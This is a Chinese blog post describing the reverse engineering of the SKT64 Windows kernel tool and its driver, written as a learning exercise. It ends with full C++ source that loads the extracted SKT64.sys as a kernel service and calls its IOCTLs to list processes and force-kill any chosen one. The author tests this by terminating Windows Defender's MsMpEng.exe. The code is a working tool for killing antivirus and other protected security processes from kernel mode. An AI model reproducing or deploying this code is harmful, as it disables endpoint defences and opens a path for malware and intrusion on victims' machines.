【记录】逆向一个驱动然后手动调用,内核工具,skt64
本文介绍了对SKT64内核工具的逆向分析过程。作者首先通过拦截驱动加载的方式获取了被加密的.sys驱动文件,随后转向逆向分析程序本体,定位到三个进程终止函数。通过动态调试确定实际调用的KernelForceTerminateProcess2函数,并分析其通过EPROCESS结构体终止进程的机制。最后,作者编写了一个C++程序,实现了加载驱动、枚举进程并强制终止指定进程的功能,成功测试终止了Wind
一.引子
鲁迅曾说过:“新时代的逆向分析往往只需要学会使用最简单的ai”。(bushi)
最近浅浅学习了一下windows下的逆向分析。所以随便选了一个内核工具拿来逆向练练手,这边我们选择逆向的是SKT64内核工具 https://github.com/PspExitThread/SKT64 。这个软件是一个大佬自制的。虽然发在GitHub上,但是其实是闭源的。

https://github.com/PspExitThread/SKT64/blob/main/Screenshot/1.png
这个工具里面有很多的功能,我们就随便选一个来逆向,比如我选择的是里面的强制结束进程(KernelForceTerminateProcess)的功能。
二.背景知识
我们先来回顾一下内核态是如何终止进程的:

CPU 的权限分为不同的环(Ring):
- Ring3:用户态程序运行的环境,受限最多。
- Ring0:内核态环境,驱动程序(.sys 文件)就在这里执行,拥有最高权限。
大多数普通进程都是运行在 Ring3 下的,所以当你在任务管理器(taskmgr.exe)中尝试结束某些受保护的进程(比如 Windows Defender、360、火绒),会发现根本没权限。
但对于运行在 Ring0 的内核驱动来说,这些保护就形同虚设。

驱动可以直接调用 ZwTerminateProcess 等内核 API,从而强制结束目标进程。换句话说,那些在用户态层面上“顽固”的进程,在内核面前其实就是纸老虎。
三.逆向
1. 分析驱动和exe
现在回归正题,我们逆向的第一步是需要先提取他内部的驱动文件。
我们从github上下载了这个SKT64了之后,发现文件夹内并没有看到我们关心的.sys文件。说明驱动文件是在exe运行的时候动态释放的。

那么这里有一个非常简单(投机取巧)的方法来提取内部的.sys。只需要简单借助一下360拦截驱动加载的功能。

然后我们按照360拦截的位置就可以提取到驱动 .sys 文件了。
拿到驱动文件后我们在ida里面打开,看看能不能逆向出来。这边我们只关心“结束进程”用的zwterminateprocess的函数。所以我们打开imports导入表。

很遗憾的是这里没有找到我们想要的函数。原因我大概推测这个驱动程序是被加密或者加壳过的,人为隐藏了导入表,来使得逆向更艰难。
由于本人学艺不精,不会做脱壳处理。不过俗话说 “上帝关上了一扇门,必然会为你打开另一扇窗”。我们可以走另一条路——直接逆向程序exe本体。我们把下载到的SKT64-Release.exe放在ida里面打开。

我们先主要大概看一遍里面的所有函数。

这里运气比较好,程序刚好导出了这些关键函数,所以直接看到了原名。关于终止进程的函数一共有三个:KernelTerminateProcess,KernelForceTerminateProcess和KernelForceTerminateProcess2。但是这样的话我们还不能确定程序里面哪个按键对应的是哪个函数,所以我们还需要确定一下具体是哪个函数。
这里使用的方法也非常简单,我们只需要确定三个函数分别的位置然后用调试器对他们设置断点,查看运行的时候到达了哪个断点,就可以确定了。
先来计算一下这三个函数的位置



Ida里面的地址默认偏移是0x140000000,所以每个函数都需要去除这个偏移才能得到实际地址。
分别是:0x69E0, 0x6A80, 0x6940
2.动态调试
得到地址之后,我们在x64dbg里面添加断点:

先打开上方的“内存布局”查看程序具体加载在了什么地方,然后找到我们要调试的skt64-release.exe的位置0x00007FF647D80000,这个基址加上函数的位置就是我们需要打断点的位置。
所以需要打断点的位置是:
0x00007FF647D80000 + 0x69E0 = 0x00007FF647D869E0
0x00007FF647D80000 + 0x6A80 = 0x00007FF647D86A80
0x00007FF647D80000 + 0x6940 = 0x00007FF647D86940
在x64dbg里面按ctrl+G可以快捷跳转地址,我们在这三个地方打断点:



然后我们把系统自带的断点全部取消掉,减少一些干扰。


打完断点之后我们按快捷键ctrl+f2重新运行。
等待一会看到ui弹出。

然后我们随便选择一个进程结束。
成功命中了调试断点:

打开x64dbg的窗口:

看到这里触发的是KernelForceTerminateProcess2.

命令行里面出现的是FFFFA8061CF1E080,很明显并不是一个pid或者程序名。这个格式其实是程序的EPROCESS。
3. 进一步分析
这里的EPROCESS怎么来的呢?其实我们只需要把程序的反编译代码发给ai工具,让他帮忙查找一下:
……


可以看到ai直接帮我们分析了这个代码。EPROCESS其实是调用函数EnumProcess()填充进程表的时候获得的。
然后我们大致看一下EnumProcess和KernelForceTerminateProcess2的具体实现,比如ioctl码,加载驱动的符号链接这些:

四.编写代码
1. 代码
现在我们就集齐了调用驱动所需要的材料,这样就可以自己写一个代码来调用这个驱动了。
这里我也不废话,直接上代码:
// skt64_terminator.cpp
// 编译(x64, VS): cl /EHsc /std:c++17 skt64_terminator.cpp
// 运行: 需要管理员权限,并将 SKT64.sys 放在同目录下
#include <windows.h>
#include <iostream>
#include <string>
#include <vector>
#include <cstdint>
#include <iomanip> // 用于格式化输出
// 全局设备句柄
static HANDLE g_hDevice = INVALID_HANDLE_VALUE;
// 进程信息结构体
struct ProcessInfo
{
DWORD pid;
uint64_t eprocess;
std::string name;
};
void Log(const char* fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);
}
std::wstring GetExeDirectory()
{
wchar_t buf[MAX_PATH];
DWORD len = GetModuleFileNameW(nullptr, buf, MAX_PATH);
if (len == 0 || len == MAX_PATH) return L".";
std::wstring path(buf, buf + len);
size_t pos = path.find_last_of(L"\\/");
if (pos == std::wstring::npos) return L".";
return path.substr(0, pos);
}
bool LoadDriverFromPath(const std::wstring& driverPath, const std::wstring& serviceName)
{
if (g_hDevice != INVALID_HANDLE_VALUE)
{
Log("[*] Driver already opened by this process.\n");
return true;
}
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM)
{
Log("[ERR] OpenSCManagerW failed (is this running as admin?): %u\n", GetLastError());
return false;
}
SC_HANDLE hService = CreateServiceW(
hSCM,
serviceName.c_str(),
serviceName.c_str(),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr);
if (!hService)
{
DWORD err = GetLastError();
if (err == ERROR_SERVICE_EXISTS || err == ERROR_ALREADY_EXISTS)
{
hService = OpenServiceW(hSCM, serviceName.c_str(), SERVICE_START | SERVICE_QUERY_STATUS | DELETE | SERVICE_STOP);
if (!hService)
{
Log("[ERR] OpenServiceW(existing) failed: %u\n", GetLastError());
CloseServiceHandle(hSCM);
return false;
}
else
{
Log("[*] Service already exists.\n");
}
}
else
{
Log("[ERR] CreateServiceW failed: %u\n", err);
CloseServiceHandle(hSCM);
return false;
}
}
if (!StartServiceW(hService, 0, nullptr))
{
DWORD err = GetLastError();
if (err == ERROR_SERVICE_ALREADY_RUNNING || err == ERROR_ALREADY_EXISTS)
{
Log("[*] Service already running.\n");
}
else
{
Log("[ERR] StartServiceW failed: %u\n", err);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return false;
}
}
else
{
Log("[+] Driver service started.\n");
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
g_hDevice = CreateFileA(R"(\\.\ArkDrv64)",
GENERIC_READ | GENERIC_WRITE,
0, nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr);
if (g_hDevice == INVALID_HANDLE_VALUE)
{
Log("[ERR] CreateFileA(\\\\.\\ArkDrv64) failed: %u\n", GetLastError());
return false;
}
Log("[+] Opened device handle \\\\.\\ArkDrv64.\n");
return true;
}
// 新增:通过驱动终止进程
bool TerminateProcessViaDriver(uint64_t eprocessAddress)
{
if (g_hDevice == INVALID_HANDLE_VALUE)
{
Log("[ERR] Device not opened.\n");
return false;
}
// 该实现严格遵循 KernelForceTerminateProcess2 的反编译代码
uint64_t inBuffer = eprocessAddress;
DWORD bytesReturned = 0;
BOOL ok = DeviceIoControl(
g_hDevice,
0x222560u, // 终止进程的 IOCTL
&inBuffer, // 输入:指向 EPROCESS 地址的指针
sizeof(inBuffer), // 输入大小:8 字节
nullptr, // 无输出缓冲
0, // 输出缓冲大小为 0
&bytesReturned,
nullptr
);
if (ok)
{
Log("[+] Terminate command for EPROCESS 0x%llx sent successfully.\n", eprocessAddress);
}
else
{
Log("[ERR] Failed to send terminate command. Error: %u\n", GetLastError());
}
return ok;
}
// 修改:枚举进程并返回一个列表
std::vector<ProcessInfo> EnumProcessViaDriver()
{
std::vector<ProcessInfo> processes;
if (g_hDevice == INVALID_HANDLE_VALUE)
{
Log("[ERR] Device not opened.\n");
return processes;
}
const uint64_t requestedSize = 2720000ULL;
const SIZE_T outBufferAllocSize = 0x298100;
const DWORD entryStride = 2720;
LPVOID lpMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, outBufferAllocSize);
if (!lpMem)
{
Log("[ERR] HeapAlloc failed\n");
return processes;
}
uint8_t inBuf[16] = { 0 };
*(uint64_t*)(inBuf + 0) = requestedSize;
*(uint64_t*)(inBuf + 8) = (uint64_t)lpMem;
DWORD outCount = 0;
DWORD bytesReturned = 0;
BOOL ok = DeviceIoControl(
g_hDevice,
0x2220D4u,
inBuf, sizeof(inBuf),
&outCount, sizeof(outCount),
&bytesReturned,
nullptr
);
if (!ok)
{
Log("[ERR] DeviceIoControl for enumeration failed: %u\n", GetLastError());
HeapFree(GetProcessHeap(), 0, lpMem);
return processes;
}
Log("[+] Process enumeration successful. Found %u entries.\n", outCount);
char* base = reinterpret_cast<char*>(lpMem);
for (DWORD i = 0; i < outCount; ++i)
{
char* entry = base + (SIZE_T)i * entryStride;
uint64_t eproc = 0;
DWORD pid = 0;
const char* namePtr = entry + 380; // offset +380: name
memcpy(&eproc, entry + 32, sizeof(eproc)); // offset +32 : EPROCESS
memcpy(&pid, entry + 64, sizeof(pid)); // offset +64 : PID
if (pid == 0) continue; // 跳过无效或系统占位条目
char nameBuf[512] = { 0 };
// 安全地复制进程名
try {
strncpy_s(nameBuf, namePtr, sizeof(nameBuf) - 1);
}
catch (...) {
strcpy_s(nameBuf, "<error reading name>");
}
processes.push_back({ pid, eproc, std::string(nameBuf) });
}
HeapFree(GetProcessHeap(), 0, lpMem);
return processes;
}
void Cleanup()
{
if (g_hDevice != INVALID_HANDLE_VALUE)
{
CloseHandle(g_hDevice);
g_hDevice = INVALID_HANDLE_VALUE;
Log("[+] Device handle closed.\n");
}
}
int wmain(int argc, wchar_t* argv[])
{
std::wstring exeDir = GetExeDirectory();
std::wstring driverPath = exeDir + L"\\" + L"SKT64.sys";
std::wstring serviceName = L"SKT64-Terminator-Service";
Log("[*] Attempting to load driver from: %ls\n", driverPath.c_str());
if (!LoadDriverFromPath(driverPath, serviceName))
{
Log("[ERR] Failed to load driver. Exiting.\n");
system("pause");
return 1;
}
Log("\n[*] Enumerating processes via driver...\n");
auto processes = EnumProcessViaDriver();
if (processes.empty())
{
Log("[ERR] No processes were enumerated. Cannot proceed.\n");
Cleanup();
system("pause");
return 1;
}
// 打印进程列表
std::cout << "---------------------------------------------------------------------\n";
std::cout << std::left << std::setw(10) << "PID"
<< std::setw(20) << "EPROCESS"
<< "Name" << std::endl;
std::cout << "---------------------------------------------------------------------\n";
for (const auto& p : processes)
{
std::cout << std::left << std::setw(10) << p.pid
<< "0x" << std::hex << std::setw(18) << p.eprocess << std::dec
<< p.name << std::endl;
}
std::cout << "---------------------------------------------------------------------\n\n";
// 用户交互
DWORD targetPid = 0;
std::cout << "Enter the PID of the process to terminate (0 to exit): ";
std::cin >> targetPid;
if (targetPid == 0)
{
Log("[*] User chose to exit.\n");
}
else
{
uint64_t targetEprocess = 0;
bool found = false;
for (const auto& p : processes)
{
if (p.pid == targetPid)
{
targetEprocess = p.eprocess;
found = true;
Log("[*] Found process %s (PID: %u) with EPROCESS 0x%llx.\n", p.name.c_str(), p.pid, p.eprocess);
break;
}
}
if (found)
{
Log("[!] Attempting to terminate process with PID %u...\n", targetPid);
TerminateProcessViaDriver(targetEprocess);
}
else
{
Log("[ERR] Process with PID %u was not found in the list.\n", targetPid);
}
}
Log("\n[*] Program finished. Press any key to exit.\n");
system("pause");
return 0;
}
代码的作用就是手动加载SKT64.sys,然后打印所有的进程,接下来用户可以随意选择一个进程从内核关闭。
2. 测试
这里我们先拿windows defender的进程MsMpEng.exe来开刀:

输入MsMpEng.exe的pid:

可以看到成功结束了它的进程。非常完美。
更多推荐

所有评论(0)